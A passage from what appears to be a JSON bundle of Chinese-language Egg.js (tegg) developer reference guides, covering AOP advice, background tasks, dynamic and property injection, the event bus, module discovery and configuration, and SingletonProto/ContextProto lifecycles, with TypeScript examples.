执行目标方法\n  await afterReturn(ctx, result);\n  return result;\n} catch (e) {\n  await afterThrow(ctx, e);\n  throw e;\n} finally {\n  await afterFinally(ctx);\n}\n```\n\n**关键点：**\n\n- 所有 hook 方法都是可选的，按需实现\n- 只有 `around` 可以修改返回值\n- `beforeCall` 中可以通过修改 `ctx.args` 改变方法入参\n- 多个 Advice 之间通过 `ctx.set(key, value)` / `ctx.get(key)` 共享状态\n\n### AdviceContext\n\n```typescript\ninterface AdviceContext<T = object, K = any> {\n  that: T;              // 被切的对象实例\n  method: PropertyKey;  // 被切的方法名\n  args: any[];          // 方法参数（可修改）\n  adviceParams?: K;     // 装饰器透传的参数\n  get(key: PropertyKey): any;       // 获取共享状态\n  set(key: PropertyKey, value: any): this;  // 设置共享状态\n}\n```\n\n---\n\n## Pointcut vs Crosscut\n\n### Pointcut — 精确切入\n\n在特定类的特定方法上声明 Advice，适合精确控制：\n\n```typescript\nimport { SingletonProto } from 'egg';\nimport { Pointcut } from 'egg/aop';\n\n@SingletonProto()\nexport class OrderService {\n  @Pointcut(LogAdvice)\n  async createOrder(data: any) {\n    // 业务逻辑\n  }\n\n  // 可以传参给 Advice\n  @Pointcut(TransactionAdvice, { adviceParams: { propagation: 'REQUIRED' } })\n  async updateOrder(id: string, data: any) {\n    // 业务逻辑\n  }\n}\n```\n\n### Crosscut — 批量切入\n\n在 Advice 类上声明切入规则，适合横切多个类/方法：\n\n```typescript\nimport { Crosscut, Advice, IAdvice, PointcutType } from 'egg/aop';\n\n// 模式 1：指定类和方法\n@Crosscut({\n  type: PointcutType.CLASS,\n  clazz: OrderService,\n  methodName: 'createOrder',\n})\n@Advice()\nexport class AuditAdvice implements IAdvice {\n  async afterReturn(ctx: AdviceContext): Promise<void> {\n    // 审计日志\n  }\n}\n\n// 模式 2：正则匹配\n@Crosscut({\n  type: PointcutType.NAME,\n  className: /.*Service$/i,\n  methodName: /^(create|update|delete)/,\n})\n@Advice()\nexport class OperationLogAdvice implements IAdvice {\n  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {\n    // 记录所有 Service 的写操作\n    return await next();\n  }\n}\n\n// 模式 3：自定义回调\n@Crosscut({\n  type: PointcutType.CUSTOM,\n  callback: (clazz, method) => {\n    return clazz.name.endsWith('Repository') && method !== 'constructor';\n  },\n})\n@Advice()\nexport class DbMetricsAdvice implements IAdvice {}\n```\n\n### 执行顺序\n\n- `@Crosscut` 默认 order: `100`\n- `@Pointcut` 默认 order: `1000`\n- order 越小越先执行\n- 同一方法上多个 Advice 按 order 升序排列\n\n通过 `order` 参数自定义顺序：\n\n```typescript\n// Pointcut：第二个参数中设置 order\n@Pointcut(LogAdvice, { order: 50 })\nasync createOrder(data: any) {}\n\n// Crosscut：第二个参数中设置 order\n@Crosscut(\n  { type: PointcutType.NAME, className: /.*Service$/i, methodName: /.+/ },\n  { order: 200 },\n)\n@Advice()\nexport class MetricsAdvice implements IAdvice {}\n```\n\n---\n\n## 参数透传\n\n同一个 Advice 在不同方法上可能需要不同的行为，通过 `adviceParams` 传参：\n\n```typescript\n@Advice()\nexport class CacheAdvice implements IAdvice {\n  async around(ctx: AdviceContext<any, { ttl: number }>, next: () => Promise<any>): Promise<any> {\n    const ttl = ctx.adviceParams?.ttl ?? 60;\n    // 根据 ttl 实现缓存逻辑\n    return await next();\n  }\n}\n\n@SingletonProto()\nexport class UserService {\n  @Pointcut(CacheAdvice, { adviceParams: { ttl: 3600 } })\n  async getUser(id: string) { /* ... */ }\n\n  @Pointcut(CacheAdvice, { adviceParams: { ttl: 60 } })\n  async getUserList() { /* ... */ }\n}\n```\n\n---\n\n## 典型场景\n\n| 场景                        | 推荐方式                 | 说明              |\n| --------------------------- | ------------------------ | ----------------- |\n| 特定方法加日志/缓存         | `@Pointcut(Advice)`      | 精确控制          |\n| 所有 Service 的写操作加审计 | `@Crosscut(NAME)` + 正则 | 批量匹配          |\n| 事务包裹                    | `@Pointcut(TxAdvice)`    | around 中管理事务 |\n"
  },
  {
    "path": "packages/skills/egg-core/references/background-task.md",
    "content": "# BackgroundTask 异步任务指南\n\n## 常见错误\n\n| 错误写法                                                    | 正确写法                                        | 说明                                                      |\n| ----------------------------------------------------------- | ----------------------------------------------- | --------------------------------------------------------- |\n| `setTimeout(() => { ... }, 0)`                              | `backgroundTaskHelper.run(async () => { ... })` | setTimeout 执行时上下文已释放，会导致访问已销毁对象的错误 |\n| `setImmediate(() => { ... })`                               | `backgroundTaskHelper.run(async () => { ... })` | 同上，框架不会等待 setImmediate 的回调                    |\n| `process.nextTick(() => { ... })`                           | `backgroundTaskHelper.run(async () => { ... })` | 同上                                                      |\n| 在 Service 中 `await` 后台任务                              | 直接调用 `run()` 不 await                       | `run()` 是\"发射后不管\"，不返回 Promise                    |\n| `import { BackgroundTaskHelper } from '@eggjs/tegg/helper'` | `import { BackgroundTaskHelper } from 'egg'`    | 统一从 `egg` 导入，不要从 `@eggjs/tegg` 子路径导入        |\n\n---\n\n## 使用方式\n\n### 基本用法\n\n通过 `@Inject()` 注入 `BackgroundTaskHelper`，调用 `run()` 方法。`run()` 接受一个异步函数，任务会立即开始执行但不阻塞当前流程。框架在请求结束（Context preDestroy）时会等待所有后台任务完成（最多等待 timeout），然后再释放上下文。\n\n```typescript\nimport { BackgroundTaskHelper, Inject, SingletonProto, AccessLevel } from 'egg';\n\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\nexport class MetricsService {\n  @Inject()\n  private backgroundTaskHelper: BackgroundTaskHelper;\n\n  async reportAfterResponse(data: Record<string, unknown>) {\n    // run() 是非阻塞的，任务立即开始执行但不会被 await\n    this.backgroundTaskHelper.run(async () => {\n      // 框架会保持上下文存活直到任务完成或超时\n      await this.sendMetrics(data);\n    });\n  }\n\n  private async sendMetrics(data: Record<string, unknown>) {\n    // 实际上报逻辑\n  }\n}\n```\n\n---\n\n## 超时配置\n\n框架默认等待 5 秒，超时后放弃等待并释放上下文。\n\n### 按请求调整超时\n\n```typescript\nthis.backgroundTaskHelper.timeout = 10000; // 10 秒\nthis.backgroundTaskHelper.run(async () => {\n  await heavyWork();\n});\n```\n\n注意：timeout 是 context 级别的设置，同一请求中多次设置以最后一次为准。\n\n### 全局配置\n\n```typescript\n// config/config.default.ts\nexport default {\n  backgroundTask: {\n    timeout: 10000, // 全局默认 10 秒\n  },\n};\n```\n\n### 无限等待\n\n```typescript\n// 不推荐在生产环境使用，除非确定任务一定会完成\nthis.backgroundTaskHelper.timeout = Infinity;\n```\n\n---\n\n## 错误处理\n\nBackgroundTaskHelper 内部会捕获所有错误并记录日志，**不会**抛出异常或影响其他后台任务。\n\n```typescript\nthis.backgroundTaskHelper.run(async () => {\n  // 即使这里抛出异常，也不会影响其他后台任务或框架\n  throw new Error('something went wrong');\n  // 错误会被记录为: [BackgroundTaskHelper] background throw error:something went wrong\n});\n\n// 如果需要自定义错误处理\nthis.backgroundTaskHelper.run(async () => {\n  try {\n    await unreliableOperation();\n  } catch (e) {\n    // 自定义错误处理：重试、告警等\n    await this.alertService.notify(e);\n  }\n});\n```\n\n---\n\n## 原理\n\n请求处理完成后，框架会立即释放上下文（防止内存泄漏）。如果用 `setTimeout` 等方式在上下文释放后访问注入的服务，会因为上下文已销毁而出错。\n\nBackgroundTaskHelper 的作用是：\n\n1. `run()` 被调用时，任务立即开始执行（不是延后到响应发送后）\n2. 任务不会被 await，因此不阻塞当前请求的返回\n3. 请求结束时（Context preDestroy），框架等待所有后台任务完成（最多等待 timeout）\n4. 等待结束后才释放上下文\n\n这就是为什么必须用 `backgroundTaskHelper.run()` 而不是 `setTimeout` — 后者绕过了框架的上下文生命周期管理，执行时上下文可能已被释放。\n"
  },
  {
    "path": "packages/skills/egg-core/references/dynamic-inject.md",
    "content": "# 动态注入开发指南\n\n## 何时使用\n\n- **用动态注入**：同一抽象有多种实现，运行时按参数选择（如多种支付方式、多种存储后端）\n- **用普通 `@Inject()`**：依赖只有一个实现，编译时就能确定\n\n## Step 1: 定义抽象类和类型枚举\n\n```typescript\n// AbstractHello.ts\nexport abstract class AbstractHello {\n  abstract hello(): string;\n}\n\n// HelloType.ts\nexport enum HelloType {\n  FOO = 'FOO',\n  BAR = 'BAR',\n}\n```\n\n如果类型是无限扩展的，没有固定枚举，可以用 `Record<string, string>` 代替：\n\n```typescript\ntype AnyEnum = Record<string, string>;\n```\n\n## Step 2: 创建自定义装饰器\n\n```typescript\n// decorator/Hello.ts\nimport { ImplDecorator, QualifierImplDecoratorUtil } from 'egg';\nimport { HelloType } from '../HelloType.ts';\nimport { AbstractHello } from '../AbstractHello.ts';\n\nexport const HELLO_ATTRIBUTE = Symbol('HELLO_ATTRIBUTE');\n\nexport const Hello: ImplDecorator<AbstractHello, typeof HelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractHello, HELLO_ATTRIBUTE);\n```\n\n**注意事项：**\n\n- **ATTRIBUTE（Symbol）不要重复**，重复会导致实现被覆盖\n- **抽象类不要指定错**，否则可能导致实现被覆盖\n\n## Step 3: 实现抽象类\n\n每个实现加上 `@SingletonProto()`（或 `@ContextProto()`）和自定义装饰器：\n\n```typescript\n// impl/FooHello.ts\nimport { SingletonProto } from 'egg';\nimport { Hello } from '../decorator/Hello.ts';\nimport { HelloType } from '../HelloType.ts';\nimport { AbstractHello } from '../AbstractHello.ts';\n\n@SingletonProto()\n@Hello(HelloType.FOO)\nexport class FooHello extends AbstractHello {\n  hello(): string {\n    return 'hello, foo';\n  }\n}\n```\n\n## Step 4: 动态获取实现\n\n通过 `EggObjectFactory` 在运行时按类型获取对应实现：\n\n```typescript\n// HelloService.ts\nimport { EggObjectFactory, SingletonProto, Inject } from 'egg';\nimport { HelloType } from './HelloType.ts';\nimport { AbstractHello } from './AbstractHello.ts';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  private eggObjectFactory: EggObjectFactory;\n\n  async hello(type: HelloType): Promise<string> {\n    const helloImpl = await this.eggObjectFactory.getEggObject(\n      AbstractHello,\n      type,\n    );\n    return helloImpl.hello();\n  }\n}\n```\n"
  },
  {
    "path": "packages/skills/egg-core/references/eventbus.md",
    "content": "# EventBus 事件总线指南\n\n## 常见错误\n\n| 错误写法                                         | 正确写法                                    | 说明                                             |\n| ------------------------------------------------ | ------------------------------------------- | ------------------------------------------------ |\n| `import { EventBus } from '@eggjs/tegg'`         | `import { EventBus } from 'egg'`            | 统一从 `egg` 导入                                |\n| `import { Event } from '@eggjs/tegg'`            | `import { Event } from 'egg'`               | 装饰器也从 `egg` 导入                            |\n| 在 handler 的 `handle` 方法中直接访问请求上下文  | 使用 `@EventContext()` 注入 `IEventContext` | handler 运行在独立的上下文中，不是触发者的上下文 |\n| `@Event('hello')` 但没有声明 Events 接口         | 先在 `declare module 'egg'` 中声明事件类型  | 不声明会导致类型检查报错                         |\n| handler 的 `handle` 方法签名与 Events 声明不一致 | 确保参数类型与 Events 中定义一致            | TypeScript 会检查签名是否匹配                    |\n\n---\n\n## 使用步骤\n\n### 1. 声明事件类型\n\n在模块中创建类型声明文件，定义事件名称和参数签名：\n\n```typescript\n// app/myModule/event.ts\nimport 'egg';\n\ndeclare module 'egg' {\n  interface Events {\n    orderCreated: (orderId: string, userId: string) => void;\n    paymentCompleted: (orderId: string, amount: number) => void;\n  }\n}\n```\n\n**注意：** 文件开头必须有 `import 'egg'`，否则 `declare module` 会覆盖而非合并模块声明。\n\n### 2. 触发事件\n\n通过 `@Inject()` 注入 `EventBus` 或 `ContextEventBus`，调用 `emit()` 触发事件：\n\n```typescript\nimport { SingletonProto, Inject, EventBus, AccessLevel } from 'egg';\n\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\nexport class OrderService {\n  @Inject()\n  private eventBus: EventBus;\n\n  async createOrder(userId: string, items: Item[]): Promise<string> {\n    const orderId = await this.saveOrder(userId, items);\n    // 触发事件，不阻塞当前流程\n    this.eventBus.emit('orderCreated', orderId, userId);\n    return orderId;\n  }\n}\n```\n\n`emit()` 的参数类型由 Events 接口约束，TypeScript 会自动提示和校验。\n\n### 3. 消费事件\n\n用 `@Event()` 装饰器标记 handler 类。handler 必须实现 `handle` 方法，参数签名与 Events 声明一致：\n\n```typescript\nimport { Event, Inject } from 'egg';\nimport type { EggLogger } from 'egg';\n\n@Event('orderCreated')\nexport class OrderNotificationHandler {\n  @Inject()\n  private logger: EggLogger;\n\n  async handle(orderId: string, userId: string): Promise<void> {\n    this.logger.info('[OrderNotification] order %s created by user %s', orderId, userId);\n    // 发送通知等业务逻辑\n  }\n}\n```\n\n**handler 的关键特性：**\n\n- handler 运行在独立的上下文中，不是触发者的上下文\n- 同一事件可以有多个 handler，它们并行执行\n- handler 文件放在模块目录中，框架自动扫描和注册\n\n### 4. 消费多个事件\n\n一个 handler 可以处理多个事件，通过 `@EventContext()` 获取事件上下文来区分：\n\n```typescript\nimport { Event, EventContext, type IEventContext } from 'egg';\n\n@Event('orderCreated')\n@Event('paymentCompleted')\nexport class AuditLogHandler {\n  async handle(@EventContext() ctx: IEventContext, ...args: unknown[]): Promise<void> {\n    console.log('event:', ctx.eventName, 'args:', args);\n  }\n}\n```\n\n`@EventContext()` 只能修饰 `handle` 方法的第一个参数。不需要区分事件时可以省略。\n\n---\n\n## Cork/Uncork 事件缓冲\n\n当需要在一个操作中触发多个事件，但希望它们在操作全部完成后才被处理时，使用 cork/uncork：\n\n```typescript\nimport { ContextProto, Inject, type ContextEventBus } from 'egg';\n\n@ContextProto()\nexport class BatchService {\n  @Inject()\n  private eventBus: ContextEventBus;  // 注意：cork/uncork 需要 ContextEventBus\n\n  async processBatch(items: string[]): Promise<void> {\n    this.eventBus.cork();     // 开始缓冲，事件不会立即派发\n\n    for (const item of items) {\n      this.eventBus.emit('orderCreated', item, 'batch-user');\n    }\n\n    this.eventBus.uncork();   // 释放缓冲，所有事件一次性派发\n  }\n}\n```\n\n**Cork/Uncork 行为：**\n\n- 支持嵌套调用 — 内层 uncork 不会释放事件，只有最外层 uncork 才会\n- `ContextEventBus` 的 cork/uncork 自动管理 corkId，无需手动指定\n- cork 期间 emit 的事件会被暂存，uncork 后按顺序派发\n\n---\n\n## 单元测试\n\n使用 `app.getEventWaiter()` 等待事件被处理完成，避免使用 `sleep`：\n\n```typescript\nimport { describe, it, expect } from 'vitest';\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { OrderService } from './path/to/OrderService.ts';\n\ndescribe('order events', () => {\n  let app: MockApplication;\n\n  it('should emit orderCreated event', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const orderService = await ctx.getEggObject(OrderService);\n      const eventWaiter = await app.getEventWaiter();\n\n      // 准备等待事件\n      const eventPromise = eventWaiter.await('orderCreated');\n\n      // 触发业务逻辑\n      await orderService.createOrder('user1', []);\n\n      // 等待事件处理完成\n      await eventPromise;\n\n      // 断言 handler 的执行结果\n    });\n  });\n});\n```\n\n**EventWaiter API：**\n\n- `eventWaiter.await('eventName')` — 等待指定事件触发\n- `eventWaiter.awaitFirst('event1', 'event2')` — 等待多个事件中最先触发的一个\n\n**注意：** `eventWaiter.await()` 必须在 `emit()` 之前调用（先注册等待，再触发事件），否则可能错过事件。\n"
  },
  {
    "path": "packages/skills/egg-core/references/inject.md",
    "content": "# Inject 开发指南\n\n## 基本用法\n\n使用 `@Inject()` 注入其他 Proto 对象或 Egg 内置对象：\n\n```typescript\nimport { SingletonProto, Inject } from 'egg';\n\n@SingletonProto()\nexport class OrderService {\n  @Inject()\n  userService: UserService; // 按类型自动匹配\n\n  @Inject({ name: 'customName' })\n  config: any; // 按名称匹配\n\n  @Inject('shorthand')\n  other: any; // 字符串简写，等同于 { name: 'shorthand' }\n}\n```\n\n## 名称解析规则\n\n框架按以下优先级确定注入目标：\n\n1. **显式指定 name** — `@Inject({ name: 'xxx' })` 或 `@Inject('xxx')`\n2. **类型元数据自动关联** — 当属性类型是使用了 `@SingletonProto()` 或 `@ContextProto()` 装饰器的 class 时，框架自动从类型元数据匹配对应的 Proto 对象。此时属性名可以任意取值，不影响注入结果\n3. **属性名兜底** — 当类型为 `interface`、`any`、`unknown` 等无法获取运行时元信息的类型时，使用属性名作为注入名称\n\n```typescript\n@SingletonProto()\nexport class MyService {\n  @Inject()\n  fooService: FooService; // 优先级 2：从 FooService 类型自动关联\n\n  @Inject()\n  whatever: FooService; // 优先级 2：同样生效，属性名不影响匹配\n\n  @Inject({ name: 'bar' })\n  baz: FooService; // 优先级 1：显式 name → \"bar\"\n\n  @Inject()\n  something: any; // 优先级 3：类型无元数据，回退到属性名 → \"something\"\n}\n```\n\n## 可选注入\n\n默认情况下，注入目标不存在会在启动时报错。使用 `optional` 可以跳过不存在的依赖：\n\n```typescript\nimport { SingletonProto, Inject, InjectOptional } from 'egg';\n\n@SingletonProto()\nexport class MyService {\n  @Inject({ optional: true })\n  maybeService?: SomeService; // 不存在时为 undefined\n\n  @InjectOptional()\n  anotherOptional?: OtherService; // 简写方式，效果相同\n}\n```\n\n## 构造函数注入\n\n除了属性注入，也支持构造函数参数注入：\n\n```typescript\nimport { SingletonProto, Inject } from 'egg';\n\n@SingletonProto()\nexport class MyService {\n  constructor(\n    @Inject() readonly fooService: FooService,\n    @Inject({ optional: true }) readonly barService?: BarService,\n  ) {}\n}\n```\n\n**注意：构造函数注入和属性注入不能混用。** 一个 class 只能选择其中一种方式，否则框架会报错。\n\n## 注入 Egg 内置对象\n\n框架会自动遍历 `Application` 和 `Context` 对象的所有属性，均可通过 `@Inject()` 注入。\n\n#### 注入配置\n\n```typescript\nimport { Inject, SingletonProto, EggAppConfig } from 'egg';\n\n@SingletonProto()\nclass Foo {\n  @Inject()\n  config: EggAppConfig;\n\n  bar(): void {\n    console.log('current env is %s', this.config.env);\n  }\n}\n```\n\n#### 注入 Logger\n\n专为 logger 做了优化，可以直接注入 custom logger：\n\n```typescript\nimport { Inject, SingletonProto, Logger } from 'egg';\n\n@SingletonProto()\nclass FooService {\n  @Inject()\n  logger: Logger; // 注入 ${appname}-web.log\n\n  @Inject()\n  coreLogger: Logger; // 注入 egg-web.log\n\n  @Inject()\n  fooLogger: Logger; // 注入 customLogger 中配置的 fooLogger\n}\n```\n\n#### 注入 Service\n\n> 强烈建议把 Egg Service 的代码通过 Proto 重新封装再注入。对于已有的 Service，可以通过以下方式引入：\n\n```typescript\nimport { Service, Inject, SingletonProto } from 'egg';\n\n@SingletonProto()\nclass FooService {\n  @Inject()\n  service: Service; // 注入整个 ctx.service\n\n  get xxxService() {\n    return this.service.xxxService;\n  }\n}\n```\n\n#### 注入 HttpClient\n\n```typescript\nimport { Inject, SingletonProto, HttpClient } from 'egg';\n\n@SingletonProto()\nclass Foo {\n  @Inject()\n  httpClient: HttpClient;\n\n  async bar(): Promise<void> {\n    await this.httpClient.request('https://example.com');\n  }\n}\n```\n\n## 注入模块配置\n\n在模块根目录创建 `module.yml`，通过 `moduleConfig` 名称注入，框架自动注入当前模块的配置：\n\n```yaml\n# module.yml\napiEndpoint: https://api.example.com\nretryCount: 3\n```\n\n```typescript\nimport { SingletonProto, Inject } from 'egg';\n\ninterface ModuleConfig {\n  apiEndpoint: string;\n  retryCount: number;\n}\n\n@SingletonProto()\nexport class ApiService {\n  @Inject()\n  moduleConfig: ModuleConfig;\n\n  async call(): Promise<void> {\n    // this.moduleConfig.apiEndpoint → \"https://api.example.com\"\n  }\n}\n```\n\n如需注入其他模块的配置，使用 `@ConfigSourceQualifier` 指定模块名：\n\n```typescript\nimport { SingletonProto, Inject, ConfigSourceQualifier } from 'egg';\n\n@SingletonProto()\nexport class MyService {\n  @Inject()\n  @ConfigSourceQualifier('otherModule')\n  moduleConfig: OtherModuleConfig; // 注入 otherModule 的配置\n}\n```\n\n## Qualifier 限定符\n\n当同名对象存在多个实现时，使用限定符消歧义：\n\n### @InitTypeQualifier\n\n指定注入 Singleton 还是 Context 实例：\n\n```typescript\nimport { SingletonProto, Inject, InitTypeQualifier, ObjectInitType } from 'egg';\n\n@SingletonProto()\nexport class MyService {\n  @Inject()\n  @InitTypeQualifier(ObjectInitType.CONTEXT)\n  barService: BarService; // 强制注入 ContextProto 版本\n}\n```\n\n> 大多数情况下不需要手动指定，框架会根据类型元数据自动推导。\n\n### @EggQualifier\n\n当 `app` 和 `ctx` 上存在同名属性时，框架默认优先匹配 `ctx`。使用 `@EggQualifier` 显式指定来源：\n\n```typescript\nimport { SingletonProto, Inject, EggQualifier, EggType } from 'egg';\n\n@SingletonProto()\nexport class MyService {\n  @Inject()\n  @EggQualifier(EggType.APP)\n  someProp: any; // 强制从 app 注入\n\n  @Inject()\n  @EggQualifier(EggType.CONTEXT)\n  someProp2: any; // 强制从 ctx 注入\n}\n```\n\n### @ModuleQualifier\n\n指定从哪个模块注入：\n\n```typescript\nimport { SingletonProto, Inject, ModuleQualifier } from 'egg';\n\n@SingletonProto()\nexport class MyService {\n  @Inject()\n  @ModuleQualifier('userModule')\n  userService: UserService; // 明确从 userModule 注入\n}\n```\n\n## 重要约束\n\n- **不能有循环依赖**：Proto 之间或模块之间都不能形成循环引用\n- **不能有同名对象**：同一模块内不能存在相同名称和相同初始化类型的 Proto\n- **按需注入**：不要直接注入 `app` 或 `ctx`，按需注入具体的属性（如 `logger`、`config`）\n"
  },
  {
    "path": "packages/skills/egg-core/references/module.md",
    "content": "# module 开发指南\n\n## 创建 module\n\n在 `app` 目录中，创建 module 目录，并在该目录中添加 `package.json`。\n\n```json\n{\n  \"name\": \"moduleName\",\n  \"eggModule\": {\n    \"name\": \"moduleName\"\n  }\n}\n```\n\n**重要提示**：\n\n- 模块名称不能包含 `-` 或其他特殊字符；使用驼峰命名规则。\n- module 的 `package.json` 文件中，仅包含 `name` 以及 `eggModule.name` 字段，不应该有其他额外内容。\n\n## module 发现机制\n\n框架支持两种模式：自动扫描（默认）和手动声明。两者互斥，当 `config/module.json` 存在时，自动扫描完全禁用。\n\n### 模式一：自动扫描（默认）\n\n当 `config/module.json` **不存在**时，框架通过以下两种方式发现模块：\n\n**1. 目录扫描**\n\n从项目根目录开始扫描，查找含有 `eggModule.name` 的 `package.json`。\n\n- 默认扫描深度：10 层\n- 自动排除：隐藏目录（`.` 开头）、`node_modules/`、`coverage/`\n\n可通过应用配置调整扫描深度和排除路径：\n\n```typescript\n// config/config.default.ts\nexport default {\n  tegg: {\n    readModuleOptions: {\n      deep: 5, // 默认 10\n      extraFilePattern: ['!**/dist'], // 额外排除 dist 目录\n    },\n  },\n};\n```\n\n`extraFilePattern` 使用 [globby](https://github.com/sindresorhus/globby) 语法，以 `!` 开头表示排除。\n\n```\napp/\n├── fooModule/          ✅ 被扫描到\n│   └── package.json    { \"eggModule\": { \"name\": \"fooModule\" } }\n├── barModule/          ✅ 被扫描到\n│   └── package.json    { \"eggModule\": { \"name\": \"barModule\" } }\n├── .hidden/            ❌ 隐藏目录，自动排除\n│   └── package.json\n└── common/             ❌ 无 package.json，不会加载\n    └── utils.ts\n```\n\n**2. npm 包扫描**\n\n框架会遍历项目 `package.json` 中 `dependencies` 的每个包（不含 `devDependencies`），检查其 `package.json` 是否含有 `eggModule.name`，如果有则自动作为模块加载。\n\n### 模式二：手动声明\n\n创建 `config/module.json` 后，自动扫描**完全禁用**，仅加载文件中声明的模块：\n\n```json\n[\n  { \"path\": \"../app/module-a\" },          // 相对于 config 目录的路径\n  { \"package\": \"@eggjs/common-module\" }   // npm 包名\n]\n```\n\n## module 配置\n\n在模块根目录创建 `module.yml` 存放模块专属配置：\n\n```\napp/\n└── userModule/\n    ├── package.json\n    ├── module.yml          # 基础配置\n    ├── module.unittest.yml # 环境特定配置（可选）\n    └── UserService.ts\n```\n\n### 配置文件格式\n\n支持 YAML 和 JSON 两种格式，优先加载 YAML：\n\n```yaml\n# module.yml\nfeatures:\n  dynamic:\n    foo: bar\n```\n\n### 环境配置合并\n\n框架会按 `module.yml` → `module.{env}.yml` 的顺序深度合并：\n\n```yaml\n# module.yml\nfeatures:\n  dynamic:\n    foo: bar\n\n# module.unittest.yml\nfeatures:\n  dynamic:\n    testMode: true\n```\n\nunittest 环境下合并结果：\n\n```json\n{\n  \"features\": {\n    \"dynamic\": {\n      \"foo\": \"bar\",\n      \"testMode\": true\n    }\n  }\n}\n```\n\n### 注入配置\n\n通过 `@Inject()` 注入 `moduleConfig`，框架自动注入当前模块的配置：\n\n```typescript\nimport { SingletonProto, Inject } from 'egg';\n\ninterface ModuleConfig {\n  features: {\n    dynamic: {\n      foo: string;\n    };\n  };\n}\n\n@SingletonProto()\nexport class UserService {\n  @Inject()\n  moduleConfig: ModuleConfig;\n\n  async getFeatureFlag(): Promise<string> {\n    return this.moduleConfig.features.dynamic.foo; // 'bar'\n  }\n}\n```\n\n## module 目录组织\n\n### 新应用\n\n直接在 `app/` 目录下平铺 module。可按功能划分，也可按业务划分：\n\n**按功能划分：**\n\n```\napp/\n├── authModule/\n│   └── package.json\n├── logModule/\n│   └── package.json\n└── storageModule/\n    └── package.json\n```\n\n**按业务划分：**\n\n```\napp/\n├── userModule/\n│   └── package.json\n├── orderModule/\n│   └── package.json\n└── paymentModule/\n    └── package.json\n```\n\n### 存量应用（包含老的 egg 写法）\n\n保留原有 `app/controller`、`app/service` 等目录不动，将新增的 module 统一放在 `app/module/` 下：\n\n```\napp/\n├── controller/           # 老的 egg 代码，保持不变\n├── service/\n├── module/               # 新增 module 统一放这里\n│   ├── userModule/\n│   │   └── package.json\n│   └── orderModule/\n│       └── package.json\n└── router.ts\n```\n"
  },
  {
    "path": "packages/skills/egg-core/references/proto.md",
    "content": "# Proto 开发指南\n\n## SingletonProto vs ContextProto\n\n|          | SingletonProto     | ContextProto       |\n| -------- | ------------------ | ------------------ |\n| 创建时机 | 应用启动时立即创建 | 请求到达时按需创建 |\n| 实例数量 | 整个应用 1 个      | 每个请求 1 个      |\n| 销毁时机 | 应用关闭           | 请求结束           |\n\n**决策逻辑：默认使用 `@SingletonProto()`**，性能更好。只有当需要在多个服务间共享请求级隔离状态时，才使用 `@ContextProto()`。\n\n```typescript\nimport { SingletonProto, ContextProto } from 'egg';\n\n// ✅ 默认选择：无状态服务用 SingletonProto\n@SingletonProto()\nexport class UserService {\n  async findUser(id: string): Promise<User> {\n    // 无需请求级状态，适合 Singleton\n  }\n}\n\n// 仅在需要请求级隔离时使用 ContextProto\n@ContextProto()\nexport class RequestContext {\n  traceId: string;\n  userId: string;\n  // 每个请求独立的状态\n}\n```\n\n## 装饰器参数\n\n`@SingletonProto()` 和 `@ContextProto()` 接受相同的可选参数：\n\n| 参数          | 类型        | 默认值         | 说明                                 |\n| ------------- | ----------- | -------------- | ------------------------------------ |\n| name          | string      | 类名首字母小写 | 实例名称                             |\n| accessLevel   | AccessLevel | PRIVATE        | 跨模块可见性                         |\n| protoImplType | string      | 'DEFAULT'      | 实现类型标记（高级用法，一般不需要） |\n\n名称推导规则：类名首字母自动转小写，如 `MyService` → `myService`。\n\n```typescript\nimport { SingletonProto, AccessLevel } from 'egg';\n\n// 使用默认参数：name 为 \"helloService\"，accessLevel 为 PRIVATE\n@SingletonProto()\nexport class HelloService {}\n\n// 自定义参数\n@SingletonProto({\n  name: 'customName',\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class HelloService {}\n```\n\n## 注入规则\n\n**SingletonProto 可以注入 ContextProto**，框架会自动处理生命周期差异。\n\n实现机制：框架不会直接注入 ContextProto 实例，而是通过 lazy getter/Proxy，在每次访问时从当前请求上下文动态解析，确保每个请求拿到各自的实例。\n\n```typescript\nimport { SingletonProto, ContextProto, Inject } from 'egg';\n\n@ContextProto()\nexport class RequestContext {\n  userId: string;\n}\n\n@SingletonProto()\nexport class AppService {\n  @Inject()\n  requestContext: RequestContext; // ✅ 每次访问自动解析当前请求的实例\n}\n```\n\nContextProto 也可以注入 SingletonProto：\n\n```typescript\n@ContextProto()\nexport class RequestHandler {\n  @Inject()\n  appService: AppService; // ✅ 直接注入\n}\n```\n\n## AccessLevel 跨模块访问\n\n- `AccessLevel.PRIVATE`（默认）：仅同模块内可注入\n- `AccessLevel.PUBLIC`：跨模块可注入\n\n模块边界由 `package.json` 中的 `eggModule.name` 决定。\n\n```typescript\n// userModule 中\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\nexport class UserService {}\n\n// orderModule 中\n@SingletonProto()\nexport class OrderService {\n  @Inject()\n  userService: UserService; // ✅ UserService 是 PUBLIC，跨模块可注入\n}\n```\n\n```typescript\n// userModule 中\n@SingletonProto() // 默认 PRIVATE\nexport class UserHelper {}\n\n// orderModule 中\n@SingletonProto()\nexport class OrderService {\n  @Inject()\n  userHelper: UserHelper; // ❌ 报错：UserHelper 是 PRIVATE，不能跨模块注入\n}\n```\n\n## 生命周期\n\nProto 对象支持以下生命周期钩子，按执行顺序排列：\n\n| 阶段 | 装饰器                      | 说明                             |\n| ---- | --------------------------- | -------------------------------- |\n| 1    | constructor                 | 构造函数                         |\n| 2    | `@LifecyclePostConstruct()` | 构造完成后                       |\n| 3    | `@LifecyclePreInject()`     | 注入前                           |\n| 4    | —                           | 依赖注入                         |\n| 5    | `@LifecyclePostInject()`    | 注入完成后                       |\n| 6    | `@LifecycleInit()`          | 异步初始化（对象就绪前最后一步） |\n| 7    | —                           | **对象就绪，可被使用**           |\n| 8    | `@LifecyclePreDestroy()`    | 销毁前                           |\n| 9    | `@LifecycleDestroy()`       | 销毁，用于清理资源               |\n\n常用的是 `@LifecycleInit()` 和 `@LifecycleDestroy()`。\n\n**示例 1：SingletonProto 异步初始化和资源清理**\n\n```typescript\nimport { SingletonProto, LifecycleInit, LifecycleDestroy } from 'egg';\n\n@SingletonProto()\nexport class DatabaseService {\n  private connection: Connection;\n\n  @LifecycleInit()\n  async 